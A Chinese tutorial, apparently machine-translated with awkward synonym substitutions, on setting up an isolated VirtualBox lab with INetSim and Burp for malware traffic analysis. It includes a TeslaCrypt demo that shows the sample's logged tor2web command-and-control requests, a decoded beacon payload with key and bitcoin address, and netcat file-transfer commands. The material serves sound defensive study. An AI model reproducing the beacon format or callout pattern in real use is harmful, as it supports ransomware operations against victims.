快捷搜索:  网络  渗透  后门  CVE  扫描  木马  黑客  as

使用VirtualBox,INetSim以及Burp确立本人的恶意软件阐发实验环境

在这篇文章中,我将使用VirtualBox,INetSim以及Burp确立一个恶意软件阐发实验环境。该环境将与与主机操作体系以及Internet隔离,成为一个自力的捏造收集。我们将在其中配置两个受害者捏造机(Ubuntu以及Windows 7)和阐发服务器,以摹拟HTTP或DNS等常见Internet服务,以便于我们能够记录以及阐发任何Linux或Windows恶意软件的收集通讯。这些恶意软件将在没有察觉的情形下,连接到我们的服务器而不是Internet。此外,我们将会以名誉扫地的TeslaCrypt勒索软件为例进行阐发。这是一种现已不存在的勒索软件,从2015年到2016年中期感染了大批的体系。

1malwarenet4.png

1.创建捏造机

下列是可用于下载Ubuntu以及Windows 7捏造机镜像的两个链接。

Ubuntu(受害者机器1以及阐发机):从OsBoxes下载Ubuntu 16.10 64 位(直接下载链接)

Windows 7(受害者机器2):从Microsoft Developer Website下载(选择IE 11 on Win 7 (x86)以及VirtualBox)

提示:要是你已经拥有一个未使用的Ubuntu捏造机,则只要克隆它并在后续步骤中重复使用即可(右键单击>Clone)。

在最先之前,请确保你有充足可用的磁盘空间(我的建议是最少10-20 GB)。

Ubuntu基本配置

OsBoxes为我们提供了一个即插即用的捏造磁盘,我们只要简单地插入捏造磁盘就可以立即使用。 起首我们来解压缩刚下载的文件。

$ 7za e Ubuntu_16.10_Yakkety-VB-64bit.7z

解压缩后你将获得一个捏造磁盘的VDI文件。我们将从Ubuntu镜像的基本配置最先,然后克隆我们的两个Ubuntu捏造机。

在VirtualBox中,创建一个新机器(单击New按钮),并将其命名为Ubuntu analysis(阐发机)。然后,选择要调配的RAM大小。此时,VirtualBox将会讯问你是否要创建新的捏造硬盘,或使用已经存在的捏造硬盘。选择“使用现有捏造硬盘文件”,单击下拉列表右侧的目录图标,选择我们的VDI文件。

然后,我们启动捏造机。默认暗码是osboxes.org。

基本配置

默认键盘使用QWERTY布局。要是你不太习性的话,可以通过Settings > Text Entry进行更改。

此外,你也能够使用下列命令更改默认暗码:

$ passwd osboxes

更新软件包:

$ sudo apt-get update
$ sudo apt-get upgrade

装置 guest additions

在运行VM的窗口的菜单当选择Devices > Insert guest additions CD image。然后会讯问你是否要运行装置程序; 选择 yes,并输入默认暗码(默认情形下为osboxes.org)。装置实现后,黑客技术,关闭VM。

克隆

现在你已经有一个基本的Ubuntu VM,克隆它(在VirtualBox主界面右键点击 > Clone)。将克隆的Ubuntu命名为Ubuntu victim,并选中复选框初始化其MAC地址。克隆类型我们选择Full clone,以进行较为完备的克隆操作。

2vms.png

Windows 7 基本配置

之条件供的下载链接指向包含OVA文件的ZIP存档。与VDI文件不同,它不仅是捏造磁盘,而且照样捏造机(包括其捏造磁盘)的完备描摹,因此从中创建捏造机所我们唯一需要做的事情就是选择File > Import Appliance在VirtualBox的主窗口。要是你的内存充足大,建议最佳给它最少1024 MB的RAM。

导入实现后(这里可能需要守候几分钟),重命名Windows 7受害者捏造机并启动它。

装置 guest additions

在运行VM的窗口的菜单当选择Devices > Insert guest additions CD image。然后从已插入的捏造CD运行装置程序。装置实现后,关闭VM。

2.阐发机的配置:INetSim,Burp

INetSim

INetSim是一个无譬喻便以及强盛的实用程序,允许你在一台机器上摹拟一堆标准的Internet服务。默认情形下,它将摹拟可以轻松调整的DNS,HTTP以及SMTP。由于我们后续会将受害者机器设置为无Internet走访,因此我们需要使用INetSim进行摹拟。

装置INetSim的要领有多种,最简单的要领就是运行下列命令来装置(在阐发机中)。

$ sudo su
$ echo "deb http://www.inetsim.org/debian/ binary/" > /etc/apt/sources.list.d/inetsim.list
$ wget -O - http://www.inetsim.org/inetsim-archive-signing-key.asc | apt-key add -
$ apt update
$ apt install inetsim

注意:想要在阐发机中复制粘贴这些命令,请选择 设备>同享剪贴板>双向 进行配置。

我们稍后会讨论怎么样使用INetSim。

Burp

INetSim虽然说强盛,但对SSL的支持却无比的有限。它附带了单一主机(inetsim.org)的证书,并且不支持动态生成SSL证书。这对于我们将会是一个问题,因为现在大多数恶意软件都使用SSL来加密其通讯。因此,我们将使用Burp作为透明的SSL代办署理,它将位于受害者机器以及INetSim的中间,对SSL流量进行拦截。当然,要是你现在并不需要拦截一些SSL流量的话,也能够不使用Burp。

Burp支持为我们的任何受害机器生成即时SSL证书。它还为我们创建了一个单根CA证书,我们稍后会在受害机器中导入。如许,我们就能拦截恶意软件发送的加密通讯流量了。

你可以从官网下载Burp。下载是一个bash装置脚本,运行它来装置Burp:

$ bash ~/Downloads/burpsuite_free_linux_v1_7_23.sh

默认情形下,Burp可执行文件为~/BurpSuiteFree/BurpSuiteFree。

3.配置一个隔离的捏造收集

我们要确立一个包含三个捏造机的隔离收集。此收集将无Internet走访。此外,我们希翼阐发机充当受害者机器的收集网关,以便能够轻松拦截收集流量并摹拟种种服务,如DNS或HTTP。

为了完成这一目标,我们将使用VirtualBox internal收集。对于熟识VirtualBox的人来说,internal收集与host-only收集的不同的地方在于,internal收集根本没法走访主机。

对于三个捏造机的各个捏造机,请执行下列操作:

关上其配置

转到“Network ”部分

将附加到字段更改成Internal收集

输入恶意软件阐发收集作为收集名称

3net.png

阐发机

启动阐发机,关上终端运行ifconfig命令。你应该有一个名为enp0s3的接口。要是名称不同,请按照下列说明进行调整。

以root身份关上文件/etc/network/interfaces,在末尾添加下列内容:

auto enp0s3
iface enp0s3 inet static
 address 10.0.0.1
 netmask 255.255.255.0

这将在我们的捏造收集上为机器调配静态IP 10.0.0.1。 现在我们已经设置了收集接口,我们使用下列命令来启动它:

$ sudo ifup enp0s3

Ubuntu受害者机器

这里的过程无比相似,只是我们将为它调配静态IP 10.0.0.2,并唆使它使用10.0.0.1作为网关以及DNS服务器。在文件/etc/network/interfaces的末尾附加下列内容:

auto enp0s3
iface enp0s3 inet static
 address 10.0.0.2
 gateway 10.0.0.1
 netmask 255.255.255.0
 dns-nameservers 10.0.0.1

并运行:

$ sudo ifup enp0s3
$ sudo service networking restart

现在你应该能够ping通阐发机:

$ ping 10.0.0.1
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=0.480 ms
64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=0.526 ms

Windows 7受害者机器

右键单击义务栏中的收集图标(或转到“最先”菜单>“控制面板”>“收集以及Internet”>“收集以及同享中心”),单击“内陆连接2”>“属性”,选中“Internet协定版本4”,然后单击属性按钮。

我们将静态IP 10.0.0.3调配给机器,其余部调设置与Ubuntu受害者机器类似。

4netsettings.png

确保验证配置(单击 确定,应用等,直到所有配置窗口都消失)。你现在应该可以ping通阐发机:

> ping 10.0.0.1

Pinging 10.0.0.1 with 32 bytes of data:
Reply from 10.0.0.1: bytes=32 time<1ms TTL=64
Reply from 10.0.0.1: bytes=32 time<1ms TTL=64

配置实现!

4.创建以及还原快照

现在我们的受害者捏造机已正确设置,并处于清洁状态(即未被任何恶意软件感染)下,我们将对其当前状态进行快照,以便后续感染后再将其恢复至清洁状态。

在VirtualBox中我们只要选择Machine > Take Snapshot。你可以将快照命名为Clean state。请务必为你的 Ubuntu 以及 Windows 7受害者机器执行此操作。

当你想要将机器重置为清洁状态时,只要将其关闭并选中复选框 Restore current snapshot ‘Clean state’即可。

5snap.png

5.在阐发机上使用INetSim以及Burp来阐发收集流量

INetSim

像之前先容的那样,INetSim能够摹拟种种标准Internet服务,包括DNS,HTTP(S),SMTP等。它有一个默认的设置文件/etc/inetsim/inetsim.conf,它还附带L了一个包含种种默认文件的数据目录(/var/lib/inetsim)。

由于你每一次进行新阐发时可能都需要不同的INetSim设置,因此我建议你创建一个analysis目录,其中包含每一个阐发的子目录。

$ mkdir analysis

出于演示目的,我已经创建了一个子目录,并将默认的INetSim设置文件以及数据文件夹复制到其中。

$ mkdir analysis/test-analysis
$ cp /etc/inetsim/inetsim.conf analysis/test-analysis
$ sudo cp -r /var/lib/inetsim analysis/test-analysis/data
$ sudo chmod -R 777 data
$ cd analysis/test-analysis

默认情形下,INetSim仅侦听内陆接口。为了使其支持我们捏造收集中的所有机器,我们需要将刚刚复制的设置文件中的下列行:

#service_bind_address   10.0.0.1

替代为:

service_bind_address    0.0.0.0

现在,我们需要禁用systemd-resolved,这是默认情形下随Ubuntu提供的内陆DNS服务器,否则会与INetSim的DNS服务器冲突。

$ sudo systemctl disable systemd-resolved.service
$ sudo service systemd-resolved stop

默认情形下,INetSim的DNS服务器会将所有域名解析为127.0.0.1。我们希翼任何域名解析为10.0.0.1(阐发机IP); 取销下列行注释:

#dns_default_ip    10.0.0.1

之前我提到过INetSim的SSL支持并不是最优的,因为它只有一个单一主机名证书(inetsim.org),并且不允许动态生成每一个主机的证书。为了解决这个问题,我们将在443端口上运行Burp作为我们的透明代办署理。因此,我们需要将INetSim的HTTPS服务器绑定到另一个端口,例如8443端口。将下列行:

#https_bind_port 443

替代为:

https_bind_port 8443

现在,让我们运行INetSim!

$ sudo inetsim --data data --conf inetsim.conf
INetSim 1.2.6 (2016-08-29) by Matthias Eckert & Thomas Hungenberg
[...]
=== INetSim main process started (PID 3605) ===
Session ID: 3605
Listening on: 0.0.0.0
Real Date/Time: 2017-06-04 12:58:07
Fake Date/Time: 2017-06-04 12:58:07 (Delta: 0 seconds)
 Forking services...
 * dns_53_tcp_udp - started (PID 3621)
 * irc_6667_tcp - started (PID 3631)
 * daytime_13_tcp - started (PID 3638)
 * discard_9_tcp - started (PID 3642)
 * discard_9_udp - started (PID 3643)
 * ident_113_tcp - started (PID 3634)
 * syslog_514_udp - started (PID 3635)
[...]

如您所见,INetSim启动了一系列收集服务。这些都是可设置的,我们可以在设置文件中禁用。这个设置文件是一个很好的说明文档,并诠释了INetSim的所有选项;因此,我建议你花几分钟时间涉猎它。

现在,启动受害者VM,关上Web阅读器,在地址栏输入任何地址(如github.com)。你应该能看到下列内容:

6vm7.png

(请注意,此默认文件对应于HTML文件data/http/fakefiles/sample.html。)

归到阐发机上,关闭INetSim(CTRL + C)。

* dns_53_tcp_udp - stopped (PID 3621)
* irc_6667_tcp - stopped (PID 3631)
* daytime_13_tcp - stopped (PID 3638)
[...]
Simulation stopped.
 Report written to '/var/log/inetsim/report/report.3877.txt' (24 lines)

如你所见,INetSim为我们创建了一份摘要讲演。 它包含受害者机器与INetSim服务的所有交互信息。

=== Report for session '3877' ===

Real start date : 2017-06-04 13:18:27
Simulated start date : 2017-06-04 13:18:27
Time difference on startup : none

2017-06-04 13:18:38 First simulated date in log file
2017-06-04 13:18:40 DNS connection, type: A, class: IN, requested name: github.com
2017-06-04 13:18:40 HTTP connection, method: GET, URL: http://github.com/, file name: data/http/fakefiles/sample.html
2017-06-04 13:18:40 HTTP connection, method: GET, URL: http://github.com/favicon.ico, file name: data/http/fakefiles/sample.html
2017-06-04 13:18:40 Last simulated date in log file

SSL流量拦截

为了阐发SSL流量,我们需要运行Burp。当受害者机器启动SSL连接时,它将起首转发给Burp,然后burp再将其代办署理到INetSim。要是你现在并不需要拦截SSL流量,你可以跳过该部分。下列是Burp地位示意图:

7ssl-network.png

以root身份启动Burp:

$ sudo /home/osboxes/BurpSuiteFree/BurpSuiteFree

(注:这里我们必须要以root身份运行它,否则将没法绑定443端口)

创建一个暂且项目,然后转到“Proxy”选项卡,再转到“Options”子选项卡。你将看到Burp的默认侦听器的侦听端口为8080。

8burp-e1496650665932.png

单击与默认侦听器相对于应的行,然后编辑它(Edit)按钮。设置以下:

绑定选项卡

绑定到港口:443

绑定地址:所有接口

要求处理选项卡:

重定向到主机:localhost

重定向到端口:8443

检查隐形代办署理支持

验证配置,类似于下面如许:

9burp2.png

默认情形下,Burp会截停要求直至你放行。为了无须要的麻烦,我们可以在Intercept选项卡中禁用该功能。

由于当前使用的Burp为免费版,因此不允许我们保存项目。我们可以导出我们刚刚创建的配置,以便鄙人次启动Burp时导入它们。选择 Burp > Project options > Save project options 实现此操作。

让我们确认我们当前的配置可以正常工作。启动INetSim,并运行:

$ curl --insecure https://localhost

你应该获取到下列内容:

<html>
 <head>
 <title>INetSim default HTML page</title>
 </head>
 <body>
 <p></p>
 <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
 <p align="center">This file is an HTML document.</p>
 </body>
</html>

在我们的受害者机器上导入Burp的CA证书

启动Windows 7受害者机器,并尝试阅读到HTTPS URL(例如https://github.com),你将看到类似于下列内容的正告:

10sslwarn.png

这是因为Burp生成的由本人CA证书署名的SSL证书,并没有得到受害者机器信任。

在Burp中,在端口8080上添加新的代办署理监听器,监听所有接口(选项卡  代办署理>选项>按钮  添加):

11burp3.png

然后,从受害者机器,阅读到http://10.0.0.1:8080。

12burpca.png

单击右上角的CA证书,下载Burp CA证书。

在Windows 7受害者机器上:关上文件,单击 装置证书> 下一步>将所有证书放在下列存储中:受信任的根证书颁发机构 >下一步

在Ubuntu的受害者机器上:

将证书转换为适量的格式(.crt)

$ openssl x509 -in ~/Downloads/cacert.der -inform DER -out burp.crt

并复制到/usr/local/share/ca-certificates

$ sudo cp burp.crt /usr/local/share/ca-certificates/

运行

$ sudo update-ca-certificates

默认情形下,Firefox不使用体系的证书存储区。要是你希翼SSL连接在Firefox中也能正常工作,请在Firefox配置中转到 高级>证书>导入。选择burp.crt,选中信任此CA以标识网站。

配置实现!

13sslok.png

在受害者机器中导入Burp的CA证书后,请务必创建新的快照(例如,装置了Burp CA证书的Clean状态)。

6.在阐发机以及主机体系之间配置同享文件夹

在一些情形下你需要将一些文件传输到阐发机或受害机器上;为了方便,我们可以配置一个同享文件夹。

在运行阐发机的VirtualBox中,转到 设备>同享文件夹>同享文件夹配置。创建一个新的同享文件夹,选择要映照到的主机操作体系的内陆文件夹,然后选择一个名称。选中复选框以使其永久化。

14share.png

现在我们在阐发机上,挂载同享文件夹:

$ mkdir ~/malware-analysis-share
$ sudo mount -t vboxsf -o uid=$UID,gid=$(id -g) malware-analysis-share ~/malware-analysis-share

将文件传输到受害者机器上

在某些时辰,你极可能需要将一些文件(例如恶意软件样本)传输到某个受害者机器上。为他们配置文件同享是一个坏主意,因为它象征着受害者机器(并且在一定程度上,你运行的恶意软件样本)可以走访它。

完成向Ubuntu受害者机器传输文件的最简单要领是使用netcat。下列一个简单的例子。

# Receiving machine having IP 10.0.0.2
$ nc -lvp 4444 > file.exe

# Analysis machine (sender)
$ cat file_to_transfer.exe | nc 10.0.0.2 4444

对于Window,遗憾的是我们并没有netcat可用。这里提供一种方案就是使用INetSim将文件提供给受害者机器。

# inetsim.conf

# Remove the default line: http_fakefile           exe     sample_gui.exe  x-msdos-program
# WordStr it by
http_fakefile           exe     file_to_transfer.exe  x-msdos-program

# And put file_to_transfer.exe in ./data/http/fakefiles

使用此设置,只要阅读任何以“.exe”结尾的URL(例如http://github.com/file.exe)即可。

15dlexe.png

7.演示:TeslaCrypt勒索软件

我下载了勒索软件TeslaCrypt的一个样本,并将其发送到了Windows 7受害者机器,执行TeslaCrypt。 几秒钟后,VM的所有文件都被进行了加密,并弹出了下列窗口。

16tcrypt-1.png

17randomwarepnwd.png

在检查了INetSim的日记后,我们可以看到勒索软件执行了下列DNS查找:

7tno4hib47vlep5o.tor2web.org

7tno4hib47vlep5o.tor2web.blutmagie.de

7tno4hib47vlep5o.tor2web.fi

bitcoin.toshi.io

并向这些域发送了多个HTTP要求。

HTTPS connection, method: GET, URL: https://7tno4hib47vlep5o.tor2web.org/state.php?U3ViamVjdD1QaW5nJmtleT0xNUIzOEIxOEFGMjBDMERCMkE3Qzc3MUUwMTQzNjNGMkNCODc4MUIxNTZENTE5Q0M1RjIyMDMzNUQ0NzE0QUEzJmFkZHI9MUxOVUYzQnFMM29iMUNUMmFWcDNjVzROYjpa2tWaVZ3VCZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMi42YSZkYXRlPTE0OTY2NDg2NzUmT1M9NzYwMSZJRD0xNiZzdWJpZD0wJmdhdGU9RzA=
HTTPS connection, method: GET, URL: https://7tno4hib47vlep5o.tor2web.blutmagie.de/state.php?U3ViamVjdD1QaW5nJmtleT0xNUIzOEIxOEFGMjBDMERCMkE3Qzc3MUUwMTQzNjNGMkNCODc4MUIxNTZENTE5Q0M1RjIyMDMzNUQ0NzE0QUEzJmFkZHI9MUxOVUYzQnFMM29iMUNUMmFWcDNjVzROYjpa2tWaVZ3VCZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMi42YSZkYXRlPTE0OTY2NDg2NzUmT1M9NzYwMSZJRD0xNiZzdWJpZD0wJmdhdGU9RzE=
HTTPS connection, method: GET, URL: https://7tno4hib47vlep5o.tor2web.fi/state.php?U3ViamVjdD1QaW5nJmtleT0xNUIzOEIxOEFGMjBDMERCMkE3Qzc3MUUwMTQzNjNGMkNCODc4MUIxNTZENTE5Q0M1RjIyMDMzNUQ0NzE0QUEzJmFkZHI9MUxOVUYzQnFMM29iMUNUMmFWcDNjVzROYjpa2tWaVZ3VCZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMi42YSZkYXRlPTE0OTY2NDg2NzUmT1M9NzYwMSZJRD0xNiZzdWJpZD0wJmdhdGU9RzI=
HTTPS connection, method: GET, URL: https://bitcoin.toshi.io/api/v0/addresses/1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT

可以看到这些要求分别发送到了类似tor2web.org,tor2web.blutmagie.de以及tor2web.fi如许的地址。这些服务允许走访Tor收集,而无需装置Tor Browser或类似工具。

该恶意软件与Tor隐躲服务7tno4hib47vlep5o.onion联系,这多是某种C&C服务器。要求的payload是base64编码的字符串,解码后为:

Subject=Ping
&key=15B38B18AF20C0DB2A7C771E014363F2CB8781B156D519CC5F220335D4714AA3
&addr=1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT
&files=0
&size=0
&version=0.2.6a
&date=1496648675
&OS=7601
&ID=16
&subid=0
&gate=G1

它还对bitcoin.toshio.io进行API调用,多是在检查赎金是否已支付给比特币地址1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT。该恶意软件似乎为每一台受感染的计算机都生成了一个唯一的比特币地址,因为该地址并没有任何的转账交易记录。

总结

希翼通过本文的学习,能为你创建一个更为安全可靠的恶意软件阐发环境。有一点需要记住的是,某些恶意软件会检测它们当前所处的环境,并且可能会根据检测效果调整其举动(例如,什么都不做)。这里有一篇MalwareBytes的文章,有兴致的可以去涉猎下。

另外,请记住,虽然阐发恶意软件的收集流量无比有效,但它只是一种动态阐发。其他还包括监控注册表,体系调用,关上/创建的文件等。Open Security Training提供了一个关于该主题的完备实践课程,最重要的是他照样免费的!因此,我也强烈建议人人可以去学习下。

 *参考来源:christophetd, secist 编译,

您可能还会对下面的文章感兴趣: